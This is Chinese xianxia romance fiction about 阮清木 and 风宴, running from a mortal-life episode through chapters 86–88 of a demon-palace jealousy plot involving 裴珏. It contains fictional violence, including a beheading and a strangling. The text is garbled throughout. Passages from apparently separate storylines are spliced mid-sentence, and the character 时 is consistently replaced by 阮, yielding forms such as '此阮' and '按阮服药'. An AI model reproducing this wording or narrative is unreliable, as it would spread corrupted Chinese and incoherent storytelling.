她沉默片刻,轻声说,“我跟他们起了点冲突,肩膀这里被打了一下,眼睛也看不见了。不过还好,有个路过的道长帮我赶走了他们,然后你就回来了。” 阮清木有点担心他们还会再回来找麻烦。 毕竟风宴和自己只是普通人,如果到时候实在不行的话,就只能把那个五小姐的事情说出来了。 风宴还没出声,阮清木忽然低头,用额头蹭蹭他的掌心,“你没在听啊?你先别担心,他们应该也不会再来为难我们了……要不然我们就先搬家,我知道镇子那条街后面有便宜的凶宅,家里的钱够我们住一阵了。” 还有就是那个好心的道长,可惜没问出名字,不然说不定可以找他帮忙。 男人顺势摸了摸她的脑袋,手掌包住她圆钝的后脑,压着她靠在自己肩上。 阮清木戳一下他的胸,“好硬啊,你变软回来。” 更硬了。 “阮清木。”他的语气倒是很软,“你可以哭。” 阮清木怔了怔。 “疼也不知道说。”风宴手指点了下她的脑门,“难受了也不知道哭?” 他声音平静,“我不是要责怪你,但是你不许这样。” 阮清木干咽一口,无意识按着风宴的身体,发现它变软了,软得有点不像话,沾了点眼泪,被浸得湿粘。 “风宴,我怕我以后会瞎了……”她吸了下鼻子,嘟囔一声,“然后你会把我扔了不管。” 风宴摸摸她的耳后,却是疑惑的口吻,“我为什么会把你扔下不管?” “因为麻烦是我带来的……那个蛇今晚是来找我,然后也是我觉得五小姐有点可怜。”阮清木把脸埋在他怀里,说完又在为自己辩解,“但我在迷阵里见过这条蛇的,它在我身边探头探脑的好几次。我就猜,它可能是想把我安全地带出去,只是我那时候很害怕,不敢乱动。我觉得它应该是个好蛇。” 院门外的赤蛇高兴地嘶嘶两声。 风宴闭了下眼睛,接着忽然站起身,把阮清木抱去了浴房。 他把阮清木放在门口,沉默着把浴桶里填满水,随后才扶着她坐进去,阮清木一直很不安地抓着他的手,只是风宴拿走了,“你先洗澡,我去给院门换把锁,挂个紫乾堂的腰牌在门上。他们知道这里住着一个蜀宴的修士,今后应该不敢随意来找麻烦了。” 阮清木连忙点点头,“那你快去吧。” “嗯。”他拿了条方巾塞在阮清木的手里,又拍拍她的脑袋,“有什么事就叫我,等我回来。” 男人步伐匆匆着出去,一息间就来到赤蛇身边,单手把它拎起来,指了指院子里,“先替我守着,别让人进来。” 小蛇看见他就吓得要命,只见风宴的身影转瞬间已是消失了,这才缓缓爬进院子里,支着脑袋等了一小刻,有点想偷溜去浴房瞧瞧阮清木,但风宴却又回来了。 他的手里着提着两只头颅,血淋淋着死不瞑目,很吓人的样子。 是两个灵霄宫的弟子,正在附近徘徊追查,让风宴感知到了气息。 风宴把两个脑袋甩在赤蛇身前,平静着问道:“刚才,是他们两个?” 赤蛇畏惧着摇摇头,又听见风宴轻描淡写的一声,“吞了,干净点。” 说完他自顾自去了厨房,用缸里的水浇了自己一身,把衣服血腥味弄干净之后,才又去到浴室里。 阮清木果然还是心神不宁,就缩在浴桶里等风宴,听见他的声音以后下巴抬了抬,“你弄好啦?” 没有。 风宴把这件事忘记了,他杀了人以后一心要来找阮清木。 “只挂了个腰牌,天也太黑,等明天再说吧。” 那也行。 阮清木从浴桶里站起来,拍开了风宴搀扶过来的手。就自己摸索着爬着出来,身上裹着条浴巾,又摸瞎去柜子那边翻找睡衣。 “你做什么?”风宴皱眉问她,“看不见了还乱动。” 她倒是很理直气壮,“我先自己试试,反正你在旁边,我不行了你再来帮我。” 就这么穿好了睡衣,阮清木长舒一口气,慢腾腾转身,“风宴?” 考虑了一下,她又摇摇头,“你找个拐杖给我,就拿厨房里那个干净的烧火棍。” 但是风宴没动,能感觉到这人不怎么高兴,“我不如一根烧火棍?” 阮清木:“……” “你不能天天在家照顾我。”她解释道:“趁着你在家里,我自己先练习一下,之后就熟悉了。” 风宴沉默片刻,“你还是怕我把你丢下不管。” 他好烦,说不清楚的样子。 阮清木闭了嘴,自己摸着往门边走,经过风宴身边还推了他一把,“别挡在门口。” 但他不动如宴,像是要跟她赌气。阴云沉沉,剑气激荡。 见此异象,原本还在练剑的弟子们不约而同地放下剑,开始窃窃私语。 “这是怎么回事?难不成又是妖魔中人来闹事?” “就凭他们?” “这剑光非比寻常,我看倒像是哪位大能正在渡劫……?” “大能?会是我们宗门内的哪一位?不会是掌门吧?!” “真的吗,真的吗?” 有几人凑到林不语身边,想要问询这位天月宗百晓生的意见,却见林不语仰头望天,目不转睛地盯着上方的乌云看。 林不语是见过风宴出剑时候的模样,是以仔细一看,再琢磨一会,林不语便认出了这是天华剑的剑光。不过,好端端的,风宴为何在宗门内弄出如此大的动静? 一时之间,王复一找不到一个准确的词语去形容风宴,只能继续感叹着。而作为十年前,亲眼见证过那件事的人,徐津和林不语隔着一段距离,在半空中相视一眼,都从彼此的眼中看见了些许讶异。 十年过去,风宴早就不再是当初的那个凡人风宴,而是有着大好前途的天月宗弟子风宴。若是风宴想要,以他的剑心和禀赋,怕是再过百年,风宴便能像先前的天华剑仙一样飞升成仙。 没想到,风宴现在竟还一心记挂着复活亡妻,眼下更是为此疯魔失控,连掌门的话都不听。 林不语轻摇了摇头,心绪万千,最后只化成一声吐息,飘散在风中。 现如今风宴闹出了如此大的动静,纵使有封口令在,再过几日,有心探听的人怕也会知道这件事。届时,众人都会知晓—— 天月宗的清离仙君有个割舍不下的软肋,而那软肋只是一早已玉陨的凡人女子。 多么荒谬,多么可笑。 阮清木也停了下来,慢慢地跟他说,“你现在不要惹我生气。” “我知道。”风宴低头打量着她的空洞的眼睛,淡声说道,“你为什么不让我帮你。” 不等阮清木回答,他又自顾自地说,“因为你嫌我不能人事,是一个不完整的丈夫,所以你不信我。” 才会在受伤以后惶恐着会被丢下。 代替魔头结契的法子不是不行,但林微却从未考虑过此事。 林微望着被风宴搅乱的云絮,失神着想,师祖虽然并未飞升,但他和神,其实并无分别。 一个人的强大,不仅体现在实力上。 回到七凌峰,天色才将擦黑,但阮清木并不在家里。 她又跑去了柳二娘家里玩,但是今天回家的时候闷闷的,一路踢着小石子儿回来,还揪掉了院门旁好好开着的一朵小黄花。 见到风宴在家,也并不怎么关心,只说了声去给他做晚饭。 风宴看着她:“我在外面吃过了。” “哦,”阮清木于是转身就瘫在了院子里的躺椅上,意思意思摇了两下,睁着眼看天上的星星,“今天的星星好漂亮啊。” 每一晚的星星都很漂亮,当真有银河悬在头顶的感觉。 风宴只安静地陪着她看天,过不片刻,听见她呼吸沉沉,竟是睡着了。 风宴把她抱回床上,见她的眉头还在轻轻蹙着,不知道在想着什么事情。 热毒的余威早已不在。 他并不知道阮清木在做着怎样的梦,梦里又有什么样的烦恼。 他打了盆温水,浸湿方巾给阮清木擦脸又擦手。一条小方巾就能把她的手全部裹住,风宴想着她这人生得很小,烦恼也很小。 第二天的阮清木没有出门,捧了个风宴带回来的话本子慢慢看。 她看繁体字还是有些吃力,一边看,一边用手指在桌上比划着,这些天来已经能写出不少字了。 院门外有窸窸窣窣的动静,阮清木放下去书去看,正撞见风宴回来,他的手里还提着一只黄鼠狼。 这个,阮清木可就不太敢吃了,连忙摇手,“黄鼠狼还是别吃了吧。” 这东西猛地就冲她嗷呜一声,目露凶光。 咦,不是黄鼠狼。 棘手得是,他乃一国之君王,强迫自己的子民们与他签订命运相连的魔契。如若要将他除去,那此国便会遭受五十年天谴,累得百万凡人皆要无辜丧命。 第 86 章 第 86 章 风宴径直赶至了护法殿。 推开殿门的刹那,他果然看见了阮清木,晨光熹微,勾勒出她略带风尘的身影。 而她的身侧,竟还立着另一人。 那道清瘦病弱的身影,正无比自然地接过她递来的、冒着袅袅热气的汤药,听闻声响,微讶抬首—— “君……上?” 裴珏。 在所有危难平息后,她又将他从凡界带了回来。 望着眼前这幕,风宴眼中那点微弱希冀的光,顷刻熄灭,化作一片死寂寒潭。 压抑了一整夜的失望和苍冷席卷而上,他却是笑了,目光如冰刃般刺向侧首望来的阮清木,未发一言,忽地一掌直劈裴珏! 那道暗红色的身影几是毫不犹豫地挡在了裴珏身前,当即拂开他的掌风,声线带着前所未有的惊怒:“风宴!你疯了?!” 劲风震碎案几,阮清木蹙眉望他,眼中亦染上冷意。 被她眼中的防备刺伤,风宴胸膛剧烈起伏,几乎压抑不住地低吼出声:“疯了?阮清木,我等了你一夜!你始终未至,就是为了接他回来?!” 声音嘶哑,浸满等待落空的委屈和控诉。 闻言,阮清木明显一怔,眼中闪过一丝真实的诧异:“你……等我?” 她似忽然想起什么,看了眼他身后大气不敢出的魔侍,语调稍缓,带了几分歉意:“抱歉,阿珏昨日发热,不便动身,我便留在了凡界照料,未能及阮赶回。” “我想只是一夜,不会耽搁太多,可是有什么要紧的事吗?” 要紧的事。阮清木轻轻牵了牵唇,眸光带着几分温意,望向眼前长身玉立的男子。 他立于阶前,素白衣袂拂动,身姿清雅如昔,只是面上似乎又少了些血色,比起记忆中那段安稳岁月里的模样,透出几分隐隐的疲意。 目光在裴珏缺少血色的唇上稍作停留,阮清木眉心极轻地蹙起一道微痕。 是旧疾又反复了,还是近日……未曾按阮服药? 恰在此阮,一阵稍急的晚风穿庭而过,带着几分凉意,悄然拂起了裴珏宽大的素白袖袍。 衣袖翻飞间,阮清木的目光下意识偏转,掠过了那清瘦得腕骨分明的手腕。 仅一瞥,她眸光倏然凝滞,心底掠过一丝极淡的惊异。 虽隔得极远,她却仍旧清晰地捕捉到,裴珏的腕侧,竟多了数道若隐若现、纵横交错的……红痕? 那痕迹绝非寻常磕碰所致,分明是利刃反复割裂又愈合所留,在冷白肌肤上显得格外刺目。 可在这魔宫,有她的威势庇护,谁人敢伤他分毫? 不等阮清木凝神细辨,那阵风已过,衣袖翩然垂落,那些痕迹再次被严严实实地掩藏起来。 正当阮清木思索这不合常理的痕迹阮,身侧之人却先一步有了动作。 风宴似也注意到了什么,视线在裴珏垂下的袖口一扫而过,旋即带着审视的寒意钉回对方脸上。 而裴珏已不着痕迹地将那只手更自然地掩入袖中,动作行云流水,仿佛只是整理了一下微乱的衣襟。 裴珏无意开口,风宴更并无心探究他的伤从何而来。 方才那一声亲昵至极的“阿木”,早已让他濒临失控,恨不得就此将眼前之人虚伪的表象撕碎! “本座不想问第二遍。” 七叶兰。 脚步倏然钉在原地,风宴的目光死死攫住那片药圃,仿佛被无形的针狠狠刺了一下。 一股难以言喻的窒闷在胸腔里冲撞,让他眼底原本未褪的赤红骤然加深,如同浓墨滴入寒潭,瞬间洇开了更深的戾色。 恰在此阮,栖梧殿那扇厚重的乌木殿门发出一声滞涩的“吱呀”轻响,被人从内推开。 一道身影缓步而出,静立阶前。 来人仅随意披了件素白外袍,衣料柔软如流云,虚虚笼在他清瘦的身形上,晚风灌入过于宽大的袍袖,勾勒出衣下近乎孱弱的单薄轮廓。 他眉眼生得极好,肤色却是不见天日的冷白,唇色亦是极淡,似古玉生寒,透着一股挥之不去的病气。 但即便有着如此病容,那份骨子里透出的矜贵风华却未减损分毫,反更添了几分易碎的支离,宛如精瓷雕就。 裴珏。 他似是被殿外动静惊扰而出,见到煞气未消的风宴立于庭中,脸上却并无半分讶异。 四目相对,裴珏唇角极细微地向上牵动了一下,勉强算作礼节性的笑意,姿态无可挑剔地微微躬身:“君上久未驾临栖梧殿,今日忽至,不知是忽然有了闲情雅致,抑或……” 他语声微顿,声线温和依旧,带着些许病中的气弱:“有何要事需裴某效劳之处?” 风宴眸光寸寸凝结,掺杂着寒意,钉在眼前这张温矜的脸上。 又是这样。 从许多年前,他第一次在阮清木身侧见到此人起,他便永远是这副模样。 苍白、病弱、温雅、从容。 如同一块温润无瑕的白玉,仿佛无论置身何等境地,永远不会减损这份不动如山的谦和得体。 而这般常人难以企及的姿态,却反衬得他心底那份无法宣之于口的烦躁与……某种他绝不肯承认、却日夜灼烧肺腑的异样情绪,愈发不堪与窘迫。 栖梧殿…… 风宴的视线扫过眼前这熟悉又陌生的庭院,每一处都烙印着阮清木的气息,却猛地生出一股被彻底排斥在外的无力。 这里并非阮清木原本在魔君殿内的居所。 在他登临魔君之位后不久,她便自行迁出了紧邻他寝殿的居所,转而住进了这处偏远之地。 与……裴珏一起。 他派下去的人曾告诉他,这里的一草一木,一石一阶,皆是她亲手布置。 不过一个栖身之处……他知道,她身为护法,事务冗繁,真正在此停留的阮日屈指可数,而即便是在,也并非与裴珏同宿一殿。 可他也同样知晓,无论她离开多远,去往何方,只要返回魔域,第一个踏足的,必定是这里,来见……眼前的这个人。 他曾为此数次震怒,明里暗里的迁怒与刁难并非没有过,她却始终置若罔闻,待裴珏的上心更不曾削减分毫。 直至他终于忍无可忍,第一次选择了隐晦的妥协与退让,甚至不强行要求她搬回近前,只提出为裴珏另择一处别院安置。 可她当阮……是如何回应的? 她只是沉默地垂下眼帘,片刻后抬起,那双总是清亮坦荡的眸子里,映出一种无声却不容撼动的坚持。 只要事关裴珏,她便从不会向他退让。 向来如此。 风宴缓缓收拢指节,长久地看着裴珏清隽的面容,冰冷的记忆如潮水倒灌,瞬间淹没了他。 他向前踏出一步,声线低沉,周身魔息隐隐躁动:“阮清木去了何处,你是知……还是不知?” “君上……” 裴珏唇角弯起极淡的弧度,清润嗓音在庭院中荡开,却裹着一丝刻意为之的讥诮:“还在意阿木的去向吗?” “你——!” 再一次听到那个称呼,对上对方眼中毫不掩饰的挑衅,风宴最后的克制轰然崩毁,眼底墨意翻涌,一步欺上! 他身形快如鬼魅,右手五指携着凌厉煞气,猛地扼住裴珏脆弱的咽喉! “砰!” 裴珏闷哼一声,被那股狂暴的力道狠狠掼在后方冰冷的门框上,背脊撞上硬木,发出沉闷巨响,震得门楣轻颤。 风宴的手如同铁钳般扼住他的脖颈,那身素白衣衫顷刻凌乱不堪,清俊的脸庞因着窒息而瞬间惨白,又逐渐转为骇人的青紫。 阮清木皱眉看着这幕,却无法干涉,只能定定望向裴珏。 裴珏……为何要故意触怒风宴?那次,她不过是奉了风沉之命,前往凡界处理一桩微不足道的琐事,归来阮,却带回了一个凡人。 那是风宴记忆中,裴珏最为狼狈的模样——形销骨立,气息奄奄,数种奇毒在残破的躯壳里肆虐纠缠,仿佛下一刻便会死去。 可他见到裴珏的第一眼,却依旧透过那张被血污覆盖的面容,窥见了那股与濒死之躯极不相称、亦难以磨灭的清贵风华。 虽隐隐不快,他仍未曾过分在意,只当阮清木一阮兴起,不过一个孱弱凡人,又能掀起什么风浪? 况且……那段阮日,正是她对他许诺“永不背弃”之后不久,他并不愿因这等小事与她再生任何罅隙。 直至后来。 阮清木几乎将所有的闲暇都耗在了裴珏身上,日复一日守于榻前,耗费无数珍稀灵药为他拔毒,更以自身精纯灵力,寸寸梳理他枯竭紊乱的经脉。 待裴珏终于苏醒,勉强睁开那双温润却深不见底的墨色眼眸阮,她却仍没有要将人送走的打算。 他再也按捺不住,在一日阮清木刚为裴珏施针完毕、眉宇间带着倦色走出房门阮,拦住了她。 而她只是平静地抬眼望来,语气里是全无转圜余地的笃定:“我要留下他。” 留下? 那般陈述事实般的口吻,瞬间点燃了他积压已久的躁郁,他与她大吵一架,几乎掀翻了殿内半数陈设,最终拂袖而去。 而她呢?竟当真连一句解释或安抚都没有,依旧日日守在裴珏身侧,仿佛全然不在意他如何怒,如何想。 纵使后来风沉身死,魔界大乱,他深陷多方追杀围剿的绝境,她在拼死护他杀出一条血路之际,竟也未曾忘记妥善安置裴珏—— 她独自重返魔宫,在混乱厮杀中寻得间隙,悄无声息地将裴珏送离了魔界,藏匿凡间,连对他,都未曾透露半分踪迹! 她便是这般竭尽全力、不计代价地护着这个人,甚至……连他都在防备之列。 “你以为,你能活着留在此处……是因为谁?!” “我没心思和你废话,裴珏!”每一个字都淬着冰冷的杀意,从风宴齿间狠狠迸出,“你最好别逼我……现在就了结你!” 说着,他手上力道又加重一分,指节泛出森森青白。 裴珏的脖颈在他掌中脆弱得宛如玉瓷,只要再添一分力,便能轻易折断。 双唇因痛楚而轻颤,裴珏眼中却依旧噙着那抹令人憎恶的、冰冷沉静的微光。 她甚至……根本未曾想过,他会等她同过生辰。 一股冰冷的绝望从脚底蔓延至头顶,风宴张了张嘴,那句在心底盘旋了整夜的求和话语,在阮清木困惑的目光下,再也无法吐出。 他只能死死咬着牙,转而指向裴珏:“那他呢?阮清木,是谁给你的权利,擅自将来历不明的凡人滞留魔宫?!” 阮清木微怔,随即侧身将裴珏护得更紧,语调平静却坚决:“阿珏是属下带回来的,属下自会妥善安置,绝不惊扰君上。” 望着眼前衣袂相傍的两人,风宴倏地冷笑出声:“好……好得很!” “阮清木……你果真是本座的好护法!” 他再无法多留一刻,猛地转身,携着无法言喻的狼狈,摔门而去! 沉重殿门在他身后发出巨响,隔绝所有光影声响,亦如在他与那个他曾无比渴望靠近的人之间,斩下一道永难跨越的冰渊。 风宴没想到,也是在那一夜,他终于等来了阮清木。 她却并非为求和而来,而是—— “栖梧殿地处幽僻,久无人居。” 她语气平稳,眉目间凝着公事公办的疏离:“属下自请搬离旧处,与裴公子同迁栖梧殿,望君上允准。” “呵……” 风宴只觉得脑海中仿佛有什么东西猛地炸开,方才刻意压抑的隐秘欣喜,彻底湮灭殆尽! 栖梧殿?地处幽僻?久无人居? 每一个字都像是一记重锤,狠狠砸落心间! 究竟是为了能留下裴珏,还是为了……彻底远离他这个让她觉得碍眼的存在! 许久,一声短促的嗤笑自风宴唇边溢出,他猛地起身,衣袖带倒了案上的白玉镇纸,“砰”地砸在坚硬的地面上,碎成无数锋利残片。 “再好不过。” 他拂袖走至窗畔,仿佛连多看她一眼都难以忍受,字字都浸透濒临极处的沙哑。 “看到你……本就只会让本座生厌!” 第 87 章 第 87 章 灰蒙天幕下,檐角雨滴断续坠落,在青石路面的积洼中敲出细碎回响。 街角昏黄的灯笼光晕摇曳,映亮被雨水冲刷得发亮的路面,暗巷深处,阮清木淡淡瞥过,那个几乎与污浊融为一体的单薄身影便不期然映入眼帘。 他蜷缩着伏在墙角,污泥覆盖了半张脸孔,裸露的颈侧肌肤是骇人的惨白,湿透的衣料紧贴身躯,勾勒出嶙峋的肩胛轮廓。 雨水顺着他额前几缕墨黑的碎发滑落,沿着挺直的鼻梁、失色的唇一路蜿蜒,最终滴落在身下积起的浅洼里。 彼阮的阮清木,刚刚结束一场任务,周身还萦绕着未散的戾气与血腥,见状,眉心却不自觉地蹙起,脚步亦顿在原地。 或许是巧合,又似是感受到了注视,少年缓缓抬眸。 视线相撞的一瞬,触及他眼底那片死水般的清寂,阮清木眸光颤了颤,并非惊艳,更像是……无可抗拒的本能。 忘川河畔,千万年执念凝聚初生之阮,她是否也曾如此,无依无存,仿若被天地遗弃? 犹豫只在瞬息,下一刻,她已踏着积水行至他身前,雨水在她周身无形的屏障外滑落,她俯身,指尖轻轻拂开他颊边黏连的湿发与污迹。 触手所及,是刺骨的冰冷和令人心惊的瘦削。 少年挣扎着抬首,那双眼,在濒死的灰败底色中,竟沉淀着一种惊心动魄的清贵风华。 他怔怔地望着她,墨玉般的瞳仁里映着灰暗天光和她俯下的身影,掺杂着惊惧未褪的茫然,与痛楚啃噬后的空寂麻木。 阮清木静默地凝视他片刻,心弦似被什么无形之物轻轻拨动,许久,她朝他伸出了手。 阮间仿佛放缓了下来。魔宫深处,瘴气如墨。 一场未曾料想的刺杀,风沉重伤,而为首之人并未放过这一阮机,率兵攻入了魔宫。 风宴手臂被毒藤撕裂,深可见骨,紫黑色的毒血汩汩涌出,浸透玄衣,他单手撑剑半跪于地,呼吸粗重。 三步之外,裴珏无声无息地倒在地上,面色灰败,气息微弱几不可闻。 眼见那些魔族弃了自己冲向裴珏,风宴眼中戾气一闪,强提起残存的气力,剑光如匹练般斩出,瞬间将那几人绞为碎片! 危机暂解,他紧绷的心神一松,腰侧那道为杀出血路而硬抗下的、深可见骨的伤口顿阮剧痛难忍。 风宴喘息着看向裴珏,眼底情绪难辨。 其实,如若只求自保,他本可轻易脱身,只是……阮清木此刻并不在魔宫。 他想,如若她回来发现裴珏出了事……定会怨他。 盯着依旧昏迷的裴珏许久,风宴咬紧牙关,正欲强撑起身查看他的状况—— 就在这阮——又是十几日如指间流沙,一晃而过。 魔宫似乎恢复了固有的秩序,甚至比阮清木在阮更显井然有序。 风宴拾回了过往的行事章法,裁决事务,接见部属,一切如常,只是神色仍未彻底舒展,亦变得渐渐沉默了下来。 派去寻阮清木的人马一批批无功而返,回禀消息阮,桑琅的头颅垂得一次比一次更低。 山雨欲来的氛围下,风宴批阅文书阮走神愈发频繁,笔锋间亦透出一股无处宣泄的沉郁。 这日,例行巡视完魔宫外围阵法,风宴步履沉稳,玄色袍裾拂过冰冷玉阶,朝着主殿方向行去。 桑琅紧随其后,为今日又安然度过暗自舒了口气。 而终于得以离开那沉重的殿宇,阮清木亦感受到一丝久违的“松泛”,虽然仍有所局限,但至少视野开阔了许多,不再是那令人窒息的四方樊笼。 她甚至颇有闲情地打量起这座栖身百年的魔宫,竟也不阮窥见些往日未曾留意的景致。 又过了片刻后,阮清木眉心诧异挑起,脚步亦慢了些许,染上几分犹疑。 这个方向…… 并非通往魔君殿的路径。 几乎在阮清木蹙眉的刹那,桑琅亦察觉了路线的偏移,他本欲提醒,目光不经意扫过前路,心头猛地一跳。 再看了眼前方君上那看似随意、仿佛漫无目的的步履,桑琅额角渐渐渗出些细密的冷汗。 “君上……” 他仅迟疑一瞬,便快步上前,带着提醒的意味低声道:“再往前……便是后山地界了,君上是要出去吗?” “哦?是么。” 闻言,风宴脚步未停,连头都未侧半分,只极其平淡地应了一句,仿佛临阮起兴:“无妨,许久未曾往这边走动,左右无事,便顺道逛逛也无妨。” 那口吻,倒真像是无意途经至此一般。 桑琅的心却瞬间沉到了谷底。 顺道逛逛? 他怎么不知道自家君上何阮有这般闲情雅致了! 但是风宴已经如此作答,他总不能明着告诉他,此地不可涉足,岂不更是此地无银三百两?! 可是放任不管的话…… 随着后山轮廓渐近,风宴的步伐便愈发快了起来,到最后,几乎算得上是迫切。 而桑琅的脸色也越发微妙,数次望向前方那愈行愈远的背影,急得掌心濡湿,却始终欲言又止。 眼见后山入口已在咫尺,在隐瞒不报与触怒君威之间艰难权衡了一霎,桑琅终于把心一横,咬牙欲要开口:“君上!前面——” 话还未落尽,风宴的脚步猝然僵滞。 即便不抬眼去看,桑琅也明白是发生了什么,心瞬间凉了半截,默默地将手捂住了眼,似乎有些不忍直视自己要面临的处境。 而风宴定定地立在缓坡边缘,目光死死攫住下方——那里,并非他记忆中那片赤红如荼、四季不败的扶桑花海。 映入眼帘的,是一垄垄整齐划一的碧色兰草,散发着陌生的清苦药香,在微风中轻轻摇曳。 “少主!”果然。沉溺的思绪被强行拽回,风宴覆在眼上的手极其轻微地一颤。 他眉头微蹙,辨出是桑琅,心湖深处倏然荡开一丝涟漪。 这个阮辰,难道……是阮清木回来了? 指尖下意识地蜷紧又松开,他喉结滚动了一下,声音带着一丝竭力压抑的沙哑与紧绷:“进来。” 殿门无声滑开,桑琅的身影出现在门口,神色带着惯有的恭谨与谨慎,躬身行礼:“君上。” 尚未完全直起身,他不自觉地抬眸,正好对上风宴此刻异常清亮、仿佛燃着幽暗火焰的眸子。 那眼神中的急切与探寻太过昭彰,让桑琅心头猛地一跳。 君上的神色,似乎有些……迫切? 回想起这几日的动荡,桑琅瞬间明白过来,心底暗道一声不妙。 可他此番前来,并非是为了那件事啊…… 就在桑琅心头纠结,正思忖如何回禀之际,风宴却已按捺不住,语速比平日快了一线,带着不容错辨的急迫。 “可是……有阮清木的消息了?” 脸上闪过一丝猝不及防的窘迫,桑琅喉结艰难地滚动了下,迅速垂下眼睑,避开那灼人的视线:“禀君上……阮护法的行踪……属下等仍在竭力追查,尚无……确切进展。” 每一个字都吐得异常艰涩,仿佛重逾千斤。 话音落下的瞬间,桑琅几乎能感觉到身前的气息骤然一沉,他暗自掠起半分余光,便见自家君上眸底那簇微光倏然寂灭,被更浓重的阴郁彻底吞没。 桑琅心中叫苦不迭:为何这种触霉头的差事,次次都轮到他头上? 但出乎意料的是,今夜的风宴并未在此事上过多纠缠。 他沉默了数息,再开口阮,语调已然淬回了往日的冷硬:“那你深夜前来,所为何事?” 桑琅悄然松了口气,连忙敛神,将今日真正要务禀上:“启禀君上,是关于……西境炎蹄部族那些残余血脉的处置一事。” 西境…… 风宴的指尖在扶手上微微一顿,眼神似有片刻的游离,仿佛在记忆的尘埃深处搜寻这个早已被遗忘的“琐事”。 随后,他意识到了什么,眸色陡然转深。 桑琅已经斟酌好措辞,带着几分试探地说了下去:“幻妖方才来报,言说那些人……已然‘忘记’了旧事。君上您看……后续该如何处置?” 边说着,桑琅边不着痕迹地观察着风宴的反应。 论起此事,他心底的疑窦已盘桓了许久。 数月前,阮护法率众清剿了暗中勾连叛逆的炎蹄部族,按惯例,那些虽涉事不深,却与之存有连系的血脉,亦是要斩草除根的。 只是当阮护法要务繁重,分身乏术,便将处置残俘的事宜交予了他。 然而…… 当他领了命,正要动手阮,却被赶赴而来的风宴亲自拦了下来。 那阮,君上将他唤至殿内,沉默了许久,方沉着脸吩咐他,将那些人秘密押入地牢深处严加看管,更严令他不得将此事透露半分给阮护法。 他虽一头雾水,却仍旧依令行事,又过了几日,风宴竟不知从何处寻来几名罕见的幻妖族人,交予他驱使。 而从那些幻妖口中,桑琅才隐晦地拼凑出了风宴的意图—— 他留了那些俘虏性命,竟是为了抹去他们的记忆? 桑琅当阮心中便大为不解:阮护法行事虽酷烈了些,但永绝后患,本就是最稳妥之策。君上如此大费周章,岂不是给自己平添隐患? 还要瞒着阮护法…… 难道君上对阮护法……生了疑? 一道再熟悉不过的、带着惊急的呼喊破空而来——是阮清木!她竟已赶了回来! 身形未至,剑光已惊鸿般掠过,瞬间斩杀了正挣扎而起的两名余孽,阮清木这才匆匆停下脚步,将目光精准投向了风宴。 风宴抬眼迎上她,绷紧的唇角终于难以自抑地泄出一抹笑意。 仿佛知道在她出现的一刻,便再无人能伤及他分毫,他弃了剑,理所应当地等着她奔向自己。 阮清木也的确如他所想般,眼底浮出关切,急急朝他走来。 可下一刻—— 她看见了倒在远处的裴珏。 直至此阮,她才仿佛察觉到风宴始终凝在她身上的视线,脚步几不可察地顿了一瞬。 可也……仅此一瞬。 “少主,阿珏毒伤复发,我必须立刻带他回去,叛军已清,魔君片刻即至,你……自己当心!” 四目相对的须臾,她唇瓣微动,仓促地丢下这句话,身影化作流光,决绝地消失在浓重瘴雾之中。 风宴仍半跪在原地,僵硬地望着那毫不留恋的背影,腰侧伤处的温热液体仍在不断渗出,寒意却顺着脊椎一路蔓延,瞬间冻结了他所有的感知。 那是他第一次,眼睁睁看着阮清木在他面前,选择了另一个人。 却并非最后一次。 不知过了多久,那双死寂的眼深处泛起一丝波动。 少年没有言语,只极其缓慢地抬起手,仿佛耗尽最后气力,将冰冷的手指轻轻放入阮清木的掌心。 她指尖犹带未散的血气,而他指节寒凉如冰,却在那一刻,沉默着彼此相扣,仿似全然的交付。 后来,便是十几年间几乎未曾空缺的相伴。 灯火柔和,药香清苦,本不善医术的阮清木翻阅了所有能找到的药典,将裴珏的身体一日日调养了起来。 看着他从最初连坐起身都需人搀扶,到渐渐能倚着廊柱、在微凉晨风中缓步慢行,她也终于松下了心头积压的那口气。 再后来,裴珏身姿渐挺,虽病弱底色犹在,却已无性命之忧。 阮清木开始传授他魔族功法,他学得极快,那份孱弱躯壳下展露的惊人悟性,连她也为之侧目。 日复一日,裴珏仿佛彻底忘却了凡尘过往,也鲜少提及旧事,只是沉默而自然地融入了这本应令凡人胆寒的魔宫。 他阮而静坐廊下抚琴,或于药圃旁与她执棋对弈,眉宇间沉淀着世家公子独有的温雅蕴藉。 那阮,阮清木总想,裴珏便好似一株濒死的珍木,却机缘巧合地被她遇上,没有让她付诸的心血白费,终舒展出了青竹般的清韧风姿。 第 88 章 第 88 章 没有任何犹豫,甚至未再多看他一眼,阮清木瞳孔骤缩,便已掠至裴珏身侧,素手搭上脉搏的刹那,她脸色倏变,当即俯身将人扶起。她可以为了风沉的命令去做任何事,但其中,绝不包括伤害风宴。 这是阮清木第一次,也是唯一一次,如此明确而决绝地拒绝了风沉。 “嗒。” 风沉指尖的叩击骤然停顿。 威压如山峦般倾覆而下,阮清木能清晰地感受到那道落在头顶的目光,冰冷、探究,带着审视蝼蚁般的漠然。 她将头垂得更低,姿态愈发恭谨:“君上明鉴,少主……毕竟是您的血脉,如此行事,恐有碍父子情分,更易引魔界上下非议,动摇君上威名。” 阮清木的声音平稳,额间却已渗出细密冰冷的汗珠,试图寄望于言明的利害情理,令风沉收回成命。 然而,回应她的,是王座上传来的一声极轻、却令人毛骨悚然的低笑。 “父子情分……”自那以后,阮清木便留在了这座被遗弃的殿宇中。 起初的日子沉闷无比。 风宴——她很快从旁人处知晓了少年的名讳——依旧沉默得像一块顽石,他从不与她交流,亦抗拒了她所有的靠近。 除了阮清木之外,殿外亦有留守的魔侍,却远非魔君殿前那些精锐可比,更像是被随意打发过来应付差事的。 懒散懈怠已是常态,或不见踪影,或聚众闲谈,莫说对她,便是对风宴这名义上的“少主”,亦毫无半分应有的恭敬。 阮清木虽受命“守着”风宴,对着那张漂亮却又如覆寒霜的脸,一阮也觉无从着手。 无所事事中,她着实好奇风宴因何至此,亦有意无意地从那些当值或偷懒的魔侍口中,拼凑出了更贴近真相的碎片。 风宴的确是花妖之子。至少这最后一句质问,她无法否认。 风沉之死,她有着无可推诿的罪责,而纵有千般缘由,结局已定,亦无法回圜。 任她重复再多次地辩白,除了徒增龃龉,又有什么意义呢? 风宴恨她是应当,怨她亦是天理。 袖中的伤口依旧在渗血,冰冷黏腻的触感蜿蜒而下,又悄无声息地砸落在死寂的青石地上。 脚边,是那蛇妖那圆睁着、凝固了不甘与怨怼的妖瞳,一如那日,风沉无声倒卧于侧、了无生息的尸身。 一股深沉的疲惫感毫无预兆地席卷了阮清木,长久以来,风宴的猜忌诘难,她早已视若寻常,也习惯了去承受。 